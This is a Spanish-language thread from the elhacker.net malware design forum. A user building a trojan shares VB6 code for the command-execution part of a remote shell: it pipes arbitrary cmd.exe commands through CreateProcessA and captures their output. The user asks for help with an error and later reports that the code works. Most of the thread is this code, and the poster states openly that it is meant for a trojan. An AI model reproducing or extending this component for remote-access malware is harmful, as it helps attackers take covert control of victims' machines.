Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: noele1995 en 8 Abril 2012, 20:59 pm



Título: [VB6] Consola de comandos
Publicado por: noele1995 en 8 Abril 2012, 20:59 pm
Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.

Código
  1. Public Function CMD(Comando As String) As String
  2. On Error GoTo Error_cmd
  3.  
  4. Dim hReadPipe       As Long
  5. Dim hWritePipe      As Long
  6. Dim SecAtt          As SECURITY_ATTRIBUTES
  7. Dim ProcInfo        As PROCESS_INFORMATION
  8. Dim StUpInfo        As STARTUPINFO
  9. Dim Ret             As Long
  10. Dim Buffer          As String * 256
  11. Dim BytesRead       As Long
  12.  
  13.  
  14. SecAtt.nLength = Len(SecAtt)
  15. SecAtt.bInheritHandle = 1&
  16. SecAtt.lpSecurityDescriptor = 0&
  17.  
  18. If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
  19.    CMD = "Error: " & Err.LastDllError
  20.    Exit Function
  21. End If
  22.  
  23. StUpInfo.cb = Len(StUpInfo)
  24. StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  25. StUpInfo.hStdOutput = hWritePipe
  26. StUpInfo.hStdError = hWritePipe
  27. Comando = Environ("COMSPEC") & " /c " & Comando
  28.  
  29. If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
  30.    CMD = "Error: " & Err.LastDllError
  31.    Exit Function
  32. End If
  33.  
  34. CloseHandle (hWritePipe)
  35. CMD = ""
  36.  
  37. Do
  38.    Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
  39.    CMD = CMD & Left$(Buffer, BytesRead)
  40. Loop While Ret <> 0
  41.  
  42. CloseHandle (ProcInfo.hThread)
  43. CloseHandle (ProcInfo.hProcess)
  44. CloseHandle (hWritePipe)
  45. Exit Function
  46.  
  47. Error_cmd:
  48. CMD = "Error: " & Err.Description
  49. End Function


Título: Re: [VB6] Consola de comandos
Publicado por: Elemental Code en 10 Abril 2012, 05:54 am
http://foro.elhacker.net/programacion_visual_basic/ayuda_con_cmd_pipe_vb6-t277687.0.html;msg1367077#msg1367077

MAGIAAAAA


Título: Re: [VB6] Consola de comandos
Publicado por: noele1995 en 11 Abril 2012, 17:31 pm
Gracias por la ayuda aunque al final no la necesite, solo tuve que hacer algunas modificaciones en las declaraciones y funciono :D